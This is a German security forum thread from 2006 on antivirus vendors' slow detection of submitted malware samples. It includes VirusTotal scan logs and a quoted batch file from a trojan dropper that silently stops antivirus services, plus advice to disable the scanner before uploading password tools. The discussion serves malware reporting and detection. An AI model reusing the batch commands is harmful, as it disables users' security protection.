![]() |
Willkommen, Gast ( Anmelden | Registrierung )
![]() |
![]() ![]()
Beitrag
#1
|
|
![]() Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Vor gut 3 Wochen habe ich mal eine vermeintliche Bilddatei auf Jottis und Virustotal scannen lassen und anschließend an BitDefender gesandt.
Bis heute hat sich dort und auch bei einigen anderen anscheinend nichts getan. Frage daher: Ist so ein Schädling es nicht Wert eingepflegt zu werden, oder gibt es im Moment einfach nur zu viel andere Malware die eingepflegt werden muss? ![]() ![]() Kaspersky hat den Trojan-Dropper übrigens schon am 10.März entdeckt. -------------------- Gruß
Stefan |
|
|
![]() |
![]()
Beitrag
#2
|
|
![]() Virenreporter ![]() Gruppe: Freunde Beiträge: 4.077 Mitglied seit: 15.04.2003 Mitglieds-Nr.: 6 Betriebssystem: Win XP Virenscanner: KAV ![]() |
QUOTE(Stefan @ 25.04.2006, 03:35) Frage daher: Ist so ein Schädling es nicht Wert eingepflegt zu werden, oder gibt es im Moment einfach nur zu viel andere Malware die eingepflegt werden muss? [right][snapback]145089[/snapback][/right] Natürlich ist es wert einen Schädling einzupflegen, sonst macht das AV Programm ja kaum einen Sinn ![]() Die Geschäftsphilosophie einzelner Unternehmen ist eben unterschiedlich gestaltet, wegen dem "Wieso?" würde ich mal bei Bitdefender nachfragen. JFK -------------------- Statt zu klagen, dass wir nicht alles haben was wir wollen, sollten wir lieber dankbar sein, dass wir nicht alles bekommen, was wir verdienen
|
|
|
![]()
Beitrag
#3
|
|
![]() Schauspiel-Gott aka Kilauea ![]() Gruppe: Mitarbeiter Beiträge: 7.537 Mitglied seit: 20.04.2003 Wohnort: Göttingen Mitglieds-Nr.: 46 ![]() |
Andererseits ist bei den meisten gerade polipos die Priorität.
Domino -------------------- Keep the spirit alive.....
|
|
|
Gast_skep_* |
![]()
Beitrag
#4
|
Gäste ![]() |
Ich hab hier auch so ein Kandidaten der nur von einigen erkannt wird. Laut Virustotal wird der Backdoor u.a. nicht von Avast, AVG, Bitdefender, DrWeb, NOD32v2, Panda, Sophos erkannt..und dies seit Wochen schon. Hab ihn zwar nirgends eingeschickt, aber da ich mehrmals in meinen Apache-Logs Hinweise auf diesen fand, kann das Teil ja nicht soo unbekannt sein.
Handeln tut es sich um: BDS/Katien.R bzw. Backdoor.Tsunami.w, Backdoor.Kaitex ect. ..scheint ein Backdoor zu sein, den es schon seit 2001 gibt.. Der Beitrag wurde von skep bearbeitet: 25.04.2006, 11:24 |
|
|
![]()
Beitrag
#5
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
hab mir die Malware von Stefan mal schicken lassen .
die 314kb com-datei wird hier selbst nicht erkannt aber wenn ich sie im Gast-modus (wo ich keinerlei rechte besitze) starte werden einige sachen daraus gestartet ,darunter eine schmuddlige bilddatei und 2 rar-sfx dateien. eine rar-sfx datei wird sofort erkannt als : QUOTE Quelle: danz6.exe Klicken Sie hier, um weitere Informationen über dieses Risiko zu erhalten: Backdoor.Trojan Durchgeführte Aktion: Gelöscht bei der zweiten kommt eine rar-installer GUI die ich aber abgebrochen hatte. wenn ich jedoch da reinschaue kommt eine stille informationsanleitung zum vorschein, das heisst das rar-sfx hätte sich im silentmodus starten sollen. ![]() darunter auch eine batch-datei die weitere malware installieren soll und ...... QUOTE @echo off start /min cmd /c net stop "Antivir Service" 2>nul start /min cmd /c net stop antivirService 2>nul ################# start /min cmd /c net stop "Antivir Scheduler" 2>nul ######dfgsdafaag start /min cmd /c net stop navapsvc 2>nul ####start /min cmd /c net stop jkfdlkjfdlkjfdslkg 2>nul start /min cmd /c net stop "AntiVir PersonalEdition Classic Service" 2>nul exit Antivir killen sollte ![]() p.s. die *.com selbst hab ich an symantec eingeschickt . Der Beitrag wurde von bond7 bearbeitet: 25.04.2006, 12:51 -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#6
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
Bitte die Datei an vms(at)drweb.com senden mit dem Subject "New Virus".
Danke Michael |
|
|
![]()
Beitrag
#7
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
ist abgeschickt , das passwort zum öffnen liegt bei.
-------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#8
|
|
![]() Gehört zum Inventar ![]() Gruppe: Freunde Beiträge: 3.252 Mitglied seit: 21.04.2003 Mitglieds-Nr.: 51 ![]() |
QUOTE(bond7 @ 25.04.2006, 13:34) hab mir die Malware von Stefan mal schicken lassen . die 314kb com-datei wird hier selbst nicht erkannt aber wenn ich sie im Gast-modus (wo ich keinerlei rechte besitze) starte werden [right][snapback]145156[/snapback][/right] Doch hoffentlich nicht auf deinem Produktivsystem? Denn auch mit nur Gastrechten, kan man sich was einfangen... Lucky ![]() |
|
|
![]()
Beitrag
#9
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 14.840 Mitglied seit: 05.07.2004 Mitglieds-Nr.: 1.143 Betriebssystem: Windows 7 SP1 (x64) Virenscanner: NIS2013 Firewall: NIS2013 ![]() |
QUOTE auch mit nur Gastrechten, kan man sich was einfangen... Möglichwerweise , aber die Wahrscheinlichkeit dazu ist eher gering weil die Zugriffs- und Schreibberechtigung zu niedrig ist. Ich hab aber trotzdem alles kontrolliert , möchtest du mein Log nochmal gegenprüfen? ![]() ![]() Der Beitrag wurde von bond7 bearbeitet: 25.04.2006, 14:34 -------------------- Der Beitrag wurde von Unbekannt bearbeitet: Morgen, 06:00
System: Intel C2Q9550 , Gigabyte GA-P35-DS3L , 8GB Mushkin , XFX HD6670 , Samsung SATA2 (750GB, 500GB, 2x 1TB) , ATAPI & NEC DVDRAM , TFT Samsung T260 26" , Case Lian Li PC-7FNW , Corsair Accelerator SSD 60GB "Irgendwelche Politiker mögen irgendwann mal einen cleveren Gedanken haben, aber in der Regel plappern sie nur die Agenda der Lobbyisten nach." Lobbyismus für Dummies : http://www.youtube.com/watch?v=P_QVyOGnIrI Einschätzung zur Wikileaks Lage : http://www.youtube.com/watch?v=HVJAUECLdo8 , http://www.youtube.com/watch?v=gWR4VAyva6s |
|
|
![]()
Beitrag
#10
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Na wie ich sehe scheint ja wenigstens einer der acht, die den Dropper nicht erkennen, Interesse zu zeigen.
-------------------- Gruß
Stefan |
|
|
Gast_skep_* |
![]()
Beitrag
#11
|
Gäste ![]() |
Den von mir weiter oben erwaehnten Backdoor erkennt DrWeb nun auch (BackDoor.Tsui)
|
|
|
![]()
Beitrag
#12
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
Was bitdefender angeht gibts zwei möglichkeiten. über das programm hochladen und abschicken, dann landet es im labor in rumänien (reaktionzeit war bei mir immer innerhalb von ca 1-2 tagen jedoch ohne feedback) - oder mit beigefügtem pw versehen an support@bitdefender.de - dann dauerts paar std länger, aber man bekommt feedback (ticket usw).
welchen weg hast du denn genommen? -------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
![]()
Beitrag
#13
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
QUOTE(Kyu @ 25.04.2006, 21:11) welchen weg hast du denn genommen? Ich hatte das Archiv mit PW versehen an virus_submission(at)bitdefender.com geschickt.[right][snapback]145239[/snapback][/right] -------------------- Gruß
Stefan |
|
|
![]()
Beitrag
#14
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
QUOTE die eingesandten verdachtsfälle über das programm landen übrigens direkt bei den technikern in rumänien. die nehmen die dinger nur ausseinander und bauen sie gleich in neuen signaturen ein, daher bekommt man darauf auch kein feedback. wer wert auf feedback legt soll sein zeug gepackt an support@bitdefender.de schicken. hab gerade nochmal nachgeguckt welche adresse beim letzten gespräch angegeben wurde. keine ahnung wie das mit virus_submission ist. falls du nochmal sowas hast kannst dus vielleicht über support@ versuchen =) -------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
![]()
Beitrag
#15
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Wenn ich an die letzten Einsendungen an "support(at)bitdefender.de" denke, belief sich das Feedback darauf, dass es eine Bestätigung des Verdachts auf Malware gab und man ein zügiges Bereitstellen einer Signatur versprach. Ne knappe Woche hat es dann trotzdem noch gedauert.
Ach ja, in der Mail gab es übrigens auch noch den Hinweis, dass wenn man Dateien direkt an "virus_submission(at)bitdefender.com" senden würde, man dort schneller reagieren könnte. ![]() Der Beitrag wurde von Stefan bearbeitet: 25.04.2006, 21:00 -------------------- Gruß
Stefan |
|
|
Gast_blueX_* |
![]()
Beitrag
#16
|
Gäste ![]() |
@stefan
@skep @bond http://www.rokop-security.de/index.php?showtopic=8685 Ich habe mir einmal die genannten Adressen als Fließtext angelegt, so dass ich nur den Fließtext einkopiert habe. Solltet ihr Interesse habe, dann schick ich euch den Fließtext und keine Arbeit habt. |
|
|
![]()
Beitrag
#17
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
na dann mal sehen wie lang es noch dauert =)
-------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
![]()
Beitrag
#18
|
|
![]() Threadersteller Ist unverzichtbar ![]() Gruppe: Freunde Beiträge: 4.022 Mitglied seit: 27.03.2004 Mitglieds-Nr.: 522 Betriebssystem: Windows 11 Pro Virenscanner: F-Secure IS Firewall: Router, Windows-Firewall ![]() |
Übrigens bei Dr.Web hat man sich Mühe gegeben.
Der Dropper wird jetzt als "Trojan.MulDrop.3684" erkannt. -------------------- Gruß
Stefan |
|
|
Gast_rock_* |
![]()
Beitrag
#19
|
Gäste ![]() |
ich frag mich schon seit langem wie diese uploadscanner arbeiten...
hab aus meinen set mal den stubby (ein ganz altes klumpert) hochgeladen... und KEINER erkennts plötzlich! STATUS: FINISHEDComplete scanning result of "stubby_d.exe", received in VirusTotal at 04.27.2006, 10:12:20 (CET). Antivirus Version Update Result AntiVir 6.34.0.24 04.20.2006 no virus found Avast 4.6.695.0 04.26.2006 no virus found AVG 386 04.26.2006 no virus found Avira 6.34.1.58 04.27.2006 no virus found BitDefender 7.2 04.27.2006 no virus found CAT-QuickHeal 8.00 04.26.2006 no virus found ClamAV devel-20060202 04.26.2006 no virus found DrWeb 4.33 04.27.2006 no virus found eTrust-InoculateIT 23.71.140 04.27.2006 no virus found eTrust-Vet 12.4.2181 04.27.2006 no virus found Ewido 3.5 04.27.2006 no virus found Fortinet 2.71.0.0 04.27.2006 no virus found F-Prot 3.16c 04.26.2006 no virus found Ikarus 0.2.59.0 04.26.2006 no virus found Kaspersky 4.0.2.24 04.27.2006 no virus found McAfee 4749 04.26.2006 no virus found NOD32v2 1.1509 04.27.2006 no virus found Norman 5.90.17 04.26.2006 no virus found Panda 9.0.0.4 04.27.2006 no virus found Sophos 4.05.0 04.27.2006 no virus found Symantec 8.0 04.27.2006 no virus found TheHacker 5.9.7.135 04.25.2006 no virus found UNA 1.83 04.26.2006 no virus found VBA32 3.11.0 04.26.2006 no virus found mein mc afee springt aber natürlich sofort an, wenn ich ihn entpacken will! ![]() |
|
|
Gast_rock_* |
![]()
Beitrag
#20
|
Gäste ![]() |
hier detto! mc afee knallt sofort an! zwar nur ein passwort tool, jedoch...NICHTS GEFUNDEN!
STATUS: FINISHEDComplete scanning result of "RiskWare.PSWTool.Snitch.11.exe", received in VirusTotal at 04.27.2006, 10:29:06 (CET). Antivirus Version Update Result AntiVir 6.34.0.24 04.20.2006 no virus found Avast 4.6.695.0 04.26.2006 no virus found AVG 386 04.26.2006 no virus found Avira 6.34.1.58 04.27.2006 no virus found BitDefender 7.2 04.27.2006 no virus found CAT-QuickHeal 8.00 04.26.2006 no virus found ClamAV devel-20060202 04.26.2006 no virus found DrWeb 4.33 04.27.2006 no virus found eTrust-InoculateIT 23.71.140 04.27.2006 no virus found eTrust-Vet 12.4.2181 04.27.2006 no virus found Ewido 3.5 04.27.2006 no virus found Fortinet 2.71.0.0 04.27.2006 no virus found F-Prot 3.16c 04.26.2006 no virus found Ikarus 0.2.59.0 04.26.2006 no virus found Kaspersky 4.0.2.24 04.27.2006 no virus found McAfee 4749 04.26.2006 no virus found NOD32v2 1.1509 04.27.2006 no virus found Norman 5.90.17 04.26.2006 no virus found Panda 9.0.0.4 04.27.2006 no virus found Sophos 4.05.0 04.27.2006 no virus found Symantec 8.0 04.27.2006 no virus found TheHacker 5.9.7.135 04.25.2006 no virus found UNA 1.83 04.26.2006 no virus found VBA32 3.11.0 04.26.2006 no virus found _____________________________ dieses tool wurde seinezeit von kaspersky als solches wie es im text steht erkannt! rock ![]() edit: bild von aktueller mc afee erkennung: Der Beitrag wurde von rock bearbeitet: 27.04.2006, 09:36 |
|
|
![]()
Beitrag
#21
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
@rock:
Kannst Du mal bitte die Viren zu vms(at)drweb.com hochladen mit dem Kommentar (auf englisch) ? Danke Michael |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#22
|
Gäste ![]() |
edit: abgeschickt!
![]() Der Beitrag wurde von rock bearbeitet: 27.04.2006, 10:32 |
|
|
![]()
Beitrag
#23
|
|
War schon oft hier ![]() ![]() Gruppe: Mitglieder Beiträge: 137 Mitglied seit: 18.02.2006 Mitglieds-Nr.: 4.457 Betriebssystem: XPSP2 ![]() |
der name der .exe sagt mir zwar nix, aber du kannst den leuten bei virustotal einfach mailen und sie selbst fragen. bei mir haben sie (wochentag, vormittags) sehr schnell (jeweils unter 30min) reagiert.
...und uns dann bescheid geben was die antwort war =) -------------------- "Cassius was right: 'Men at some times are masters of their fates; The fault, dear Brutus, is not in our stars, but in ourselves….'"
|
|
|
Gast_rock_* |
![]()
Beitrag
#24
|
Gäste ![]() |
könnt ihr euch noch an das thema von zottel oder zausel erinnern mit dem dialer vor kurzem?
den kennt beim hochladen gerade mal ewido und 2 scanner in der heuristik und im mem-scan und nod und panda und auch fortinet verdächtigt... wurde auch bis zur verglühung abgeschickt und hochgeladen damals..... ich mach mir garkeine mühe mehr irgendwem zu schreiben...ich sammle den kram...wers haben will, bitteschön! das was ich hab sollte aber schon jeder von denen die nichts erkennt haben..da ich das ja schon wieder hochlade heute...nur so für die zukunft... ![]() vielleicht ist es halt eben nicht der mühe wert... STATUS: SCANNINGFile "winsis32.exe" received on 04.27.2006 at 17:25:19 (CET) is being scanned by VirusTotal in this moment. Results will be shown as they're generated. Antivirus Version Update Result AntiVir 6.34.0.24 04.20.2006 Heuristic/Backdoor.Dropper Avast 4.6.695.0 04.26.2006 no virus found AVG 386 04.26.2006 no virus found Avira 6.34.1.58 04.27.2006 no virus found BitDefender 7.2 04.27.2006 MemScan:Trojan.PornDialer.A CAT-QuickHeal 8.00 04.26.2006 no virus found ClamAV devel-20060202 04.26.2006 no virus found DrWeb 4.33 04.27.2006 no virus found eTrust-InoculateIT 23.71.140 04.27.2006 no virus found eTrust-Vet 12.4.2181 04.27.2006 no virus found Ewido 3.5 04.27.2006 Dropper.Agent.ajc Fortinet 2.71.0.0 04.27.2006 suspicious F-Prot 3.16c 04.26.2006 no virus found Ikarus 0.2.59.0 04.27.2006 no virus found Kaspersky 4.0.2.24 04.27.2006 no virus found McAfee 4749 04.26.2006 no virus found Microsoft 1.1372 04.27.2006 no virus found NOD32v2 1.1509 04.27.2006 a variant of Win32/Dialer.PornDial.F Norman 5.90.17 04.27.2006 no virus found Panda 9.0.0.4 04.27.2006 Suspicious file Sophos 4.05.0 04.27.2006 no virus found Symantec 8.0 04.27.2006 no virus found TheHacker 5.9.7.135 04.25.2006 no virus found ![]() |
|
|
Gast_blueX_* |
![]()
Beitrag
#25
|
Gäste ![]() |
Warum schickst du das Zeug nicht ein?
|
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#26
|
Gäste ![]() |
was glaubst du hab ich die letzten jahre immer gemacht?
ich habs so manchen gleich ein ganzes packet geschickt... vieles ist schon vom vorjahr und auch älter... möglicherweise ist einiges beschädigt oder nicht mehr korrekt lauffähig, was daher nicht mehr in die erkennung aufgenommen wurde.... abgesehen davon - war nicht irgendwo die rede das durch das absenden und treffer es sowieso an die jeweiligen hersteller weitergeschickt wird? ![]() |
|
|
Gast_blueX_* |
![]()
Beitrag
#27
|
Gäste ![]() |
Hast du denn die Datei winsis32.exe auch abgeschickt?
Naja, ich kann mir vorstellen, dass die Virenschutzhersteller schon genügend mit den Einsendungen zu tun haben und Files, die von Jotti oder Virustotal nur in seltenen Fällen einpflegen. |
|
|
![]()
Beitrag
#28
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
@rock:
Wenn Du mir (Dr.Web) einen Gefallen tun willst - lade die Dateien bitte auf unseren FTP-Server hoch - es gibt dafuer einen speziellen Upload account. Unsere Technik wird dann der Sache jeweils nachgehen, solange bis wir fuer jedes File eine Antwort haben. Das gilt auch fuer zukuenftige Einsendungen. *Unsere* Einsendungen werden meist innerhalb von 10 Minuten bis max. 2 Stunden bearbeitet. Gib Bescheid, ich sende Dir ueber PM dann einen account. Wenn es Dir zu aufwaendig ist, habe ich auch Verstaendnis dafuer ![]() Danke, Michael |
|
|
Gast_rock_* |
![]()
Beitrag
#29
|
Gäste ![]() |
QUOTE(drweb-online @ 27.04.2006, 18:12) @rock: Wenn Du mir (Dr.Web) einen Gefallen tun willst - lade die Dateien bitte auf unseren FTP-Server hoch - es gibt dafuer einen speziellen Upload account. ich hab bereits ein paket gesendet mit 54 files. alles jetzt wieder entpacken und einzeln abschicken ist eine abendfüllende aufgabe... hmm....kann ich jetzt aber leider nicht garantieren dran zu bleiben bis zum bitteren ende... ansonsten gerne...mit dem account per pm...kann ich ja im laufe des tages morgen machen...wenns recht ist... rock |
|
|
![]()
Beitrag
#30
|
|
![]() War schon mal da ![]() Gruppe: Mitglieder Beiträge: 44 Mitglied seit: 23.04.2006 Wohnort: Berlin Mitglieds-Nr.: 4.833 Betriebssystem: WinXP, Win2k Server Virenscanner: Dr.Web ![]() |
@rock:
nichts entpacken,... das macht unsere Technik. Einfach rauflegen. Mit so wenig AUfwand wie moeglich ![]() Account kommt. Micha |
|
|
![]()
Beitrag
#31
|
|
![]() Ist unverzichtbar ![]() ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 5.344 Mitglied seit: 02.04.2005 Wohnort: Localhost Mitglieds-Nr.: 2.320 Betriebssystem: W10 [x64] Virenscanner: EAM Firewall: EAM ![]() |
...wird immer gefährlicher mit diesen Viren...
![]() -------------------- Dr. Web' s Updates List
Dr. Web' s Virusbibliothek Dr. Web´s History "Kenshi" sagt sayonara Wer lächelt statt zu toben, ist immer der Stärkere. [japan. Sprichwort] Das Internet ist ein gefährlicher Ort, und Windows-Nutzer wissen, dass man eine Rüstung tragen sollte. Apple-Nutzer tragen stattdessen Hawaii-Hemden." [Jewgenij Kaspersky] Ubuntu Beryl Matrix 3D Desktop |
|
|
Gast_Scrapie_* |
![]()
Beitrag
#32
|
Gäste ![]() |
QUOTE(Kenshiro @ 27.04.2006, 19:32) ...wird immer gefährlicher mit diesen Viren... ![]() [right][snapback]145548[/snapback][/right] Vor allem wenn die Unpackengines schon Rost ansetzen: ![]() ![]() Heute kam neue Version von UPX raus. Scheint immer noch AVs zu geben, die diesen acht Jahre (!) alten, OpenSource- Packer (!) immer noch nicht im Griff haben. Von den drei Schnarchnasen, welche noch nicht mal den originalen MicroJoiner erkennen (obwohl schon vor 1 1/2 Jahre public released) reden wir jetzt mal gar nicht.... Aber vielleicht erkennen die drei ja den extrem verbreiteten Polip.A-Virus ![]() Gruß, Scrapie |
|
|
Gast_rock_* |
![]()
Beitrag
#33
|
Gäste ![]() |
hmm..wieder son ergebnis wo ich mich sofort auskenn
![]() was ist es nun...dropper? oder ein passworttool? oder ein dropper der erst ein passworttool anlegt...?? diesen pinch hab ich schon oft gehört, multijoiner hingegen nicht... übrigens passwortgeschichten...bei nirsoft gibts passworttools gleich im halben dutzend zum freien download...nur in jedem steckt entweder ein sogenantnes erkanntes passworttool bis hinzum trojaner. mc afee erkennt sie alel schon beim anlachen... ![]() aber bitte...für ganz schlaue...wer bei nirsoft tools ladet und nciht weis was damit anzufangen ist...wenigstens NICHT installieren...wer weis ob die dann nicht erst was droppen... man kann die sammlung halt ein bissl erweitern... bei der gelegenheit kann es ja wer einzeln bei virustotal hochladen wenn er sich die mühe machen will....virenscanner ausschalten sonst knallt es dauernd an bei jedem absende versuch der jeweiligen anwendungen...ich wette es werden viele wieder nicht erkennen...es müssten 6 stück sein! eines etwas schärfer! http://www.pc-special.net/?idart=3189 und hier das zip mit dem ganzen klumpert auf einmal! http://www.bestfiles.eu/groups/sicherheit_n.html ![]() Der Beitrag wurde von rock bearbeitet: 28.04.2006, 10:28 |
|
|
Gast_rock_* |
![]()
Beitrag
#34
|
Gäste ![]() |
na wer sagts denn...schon der erste kleine asterix logger....mag wohl (kaum) wer erkennen....
STATUS: FINISHEDComplete scanning result of "astlog.exe", received in VirusTotal at 04.28.2006, 11:30:19 (CET). Antivirus Version Update Result AntiVir 6.34.0.24 04.20.2006 no virus found Avast 4.6.695.0 04.26.2006 no virus found AVG 386 04.27.2006 no virus found Avira 6.34.1.58 04.28.2006 no virus found BitDefender 7.2 04.28.2006 no virus found CAT-QuickHeal 8.00 04.26.2006 no virus found ClamAV devel-20060202 04.27.2006 no virus found DrWeb 4.33 04.28.2006 no virus found eTrust-InoculateIT 23.71.141 04.28.2006 no virus found eTrust-Vet 12.4.2183 04.28.2006 no virus found Ewido 3.5 04.27.2006 no virus found Fortinet 2.71.0.0 04.27.2006 suspicious F-Prot 3.16c 04.26.2006 no virus found Ikarus 0.2.59.0 04.28.2006 P2P-Worm.Win32.Polipos.a Kaspersky 4.0.2.24 04.28.2006 no virus found McAfee 4750 04.27.2006 no virus found Microsoft 1.1372 04.28.2006 no virus found NOD32v2 1.1510 04.27.2006 no virus found Norman 5.90.17 04.27.2006 no virus found Panda 9.0.0.4 04.28.2006 no virus found Sophos 4.05.0 04.28.2006 no virus found Symantec 8.0 04.28.2006 no virus found TheHacker 5.9.7.135 04.25.2006 no virus found UNA 1.83 04.27.2006 no virus found VBA32 3.11.0 04.27.2006 no virus found Der Beitrag wurde von rock bearbeitet: 28.04.2006, 10:34 |
|
|
Gast_rock_* |
![]()
Beitrag
#35
|
Gäste ![]() |
schon ein bissl besser
![]() STATUS: FINISHEDComplete scanning result of "mailpv.exe", received in VirusTotal at 04.28.2006, 11:33:56 (CET). Antivirus Version Update Result AntiVir 6.34.0.24 04.20.2006 no virus found Avast 4.6.695.0 04.26.2006 no virus found AVG 386 04.27.2006 no virus found Avira 6.34.1.58 04.28.2006 SPR/PSW.MailPassView.130.4 BitDefender 7.2 04.28.2006 Spyware.Pws.Mailpassview.130 CAT-QuickHeal 8.00 04.26.2006 no virus found ClamAV devel-20060202 04.27.2006 no virus found DrWeb 4.33 04.28.2006 no virus found eTrust-InoculateIT 23.71.141 04.28.2006 no virus found eTrust-Vet 12.4.2183 04.28.2006 no virus found Ewido 3.5 04.27.2006 Not-A-Virus.PSWTool.Win32.MailPassView.130 Fortinet 2.71.0.0 04.27.2006 PWS.F!tr F-Prot 3.16c 04.26.2006 no virus found Ikarus 0.2.59.0 04.28.2006 PSWTool.Win32.MailPassView.130 Kaspersky 4.0.2.24 04.28.2006 not-a-virus:PSWTool.Win32.MailPassView.130 McAfee 4750 04.27.2006 Generic PWS.f Microsoft 1.1372 04.28.2006 no virus found NOD32v2 1.1510 04.27.2006 no virus found Norman 5.90.17 04.27.2006 no virus found Panda 9.0.0.4 04.28.2006 Suspicious file Sophos 4.05.0 04.28.2006 no virus found Symantec 8.0 04.28.2006 no virus found TheHacker 5.9.7.135 04.25.2006 Trojan/MailPassView.130 UNA 1.83 04.27.2006 no virus found VBA32 3.11.0 04.27.2006 no virus found =============== ![]() |
|
|
Gast_2cool_* |
![]()
Beitrag
#36
|
Gäste ![]() |
Jo, da wird so einiges nicht entdeckt, ist aber die Frage,
mit welchen Signaturen und Einstellungen gescannt wird: QUOTE(OSX @ 22.04.2006, 18:46) Wenn irgendwas nicht bei Virustotal gefunden wird heisst das noch lange nicht zwangsweise dass es der Standalone Scanner auch nicht findet..... QuelleIch könnte mir vorstellen, dass bei einem Onlineangebot wie Virustotal oder Jotti z.B. bei KAV nicht mit den erweiterten Sigs gescannt wird..... ![]() Der Beitrag wurde von 2cool bearbeitet: 28.04.2006, 12:24 |
|
|
![]()
Beitrag
#37
|
|
![]() Walk like an Egyptian ![]() ![]() ![]() ![]() ![]() ![]() Gruppe: Mitglieder Beiträge: 3.546 Mitglied seit: 17.02.2006 Mitglieds-Nr.: 4.453 ![]() |
QUOTE(2cool @ 28.04.2006, 13:03) Jo, da wird so einiges nicht entdeckt, ist aber die Frage, mit welchen Signaturen und Einstellungen gescannt wird: http://www.rokop-security.de/index.php?sho...ndpost&p=144790 Ich könnte mir vorstellen, dass bei einem Onlineangebot wie Virustotal oder Jotti z.B. bei KAV nicht mit den erweiterten Sigs gescannt wird..... ![]() [right][snapback]145628[/snapback][/right] Aber bei NOD32 mit Heuristik und trotzdem wird beide Male nichts gefunden. ![]() -------------------- Die Menschen sind grob in drei Kategorien zu unterteilen: Die Wenigen, die dafür sorgen, daß etwas geschieht..., die Vielen, die zuschauen, wie etwas geschieht..., und die überwältigende Mehrheit, die keine Ahnung hat, was überhaupt geschieht.
- Viele Menschen sind gut erzogen, um nicht mit vollem Mund zu sprechen, aber sie haben keine Bedenken, es mit leerem Kopf zu tun...... (Orson Welles) |
|
|
Gast_rock_* |
![]() ![]()
Beitrag
#38
|
Gäste ![]() |
auch antivir scannt mit heuristik und bitdefender mit mem scan...wie man beides in einen der früheren logs sehen kann...
und erkennt hier nur gering bis nichts... gerade antivir der oft moralische signturen pflegt, wie zum beispiel sogar das dämliche moorhuhn! (meldet antivir das moorhuhn eigentlcih noch??) brüllll!!!!!!!! ![]() ![]() |
|
|
Gast_2cool_* |
![]()
Beitrag
#39
|
Gäste ![]() |
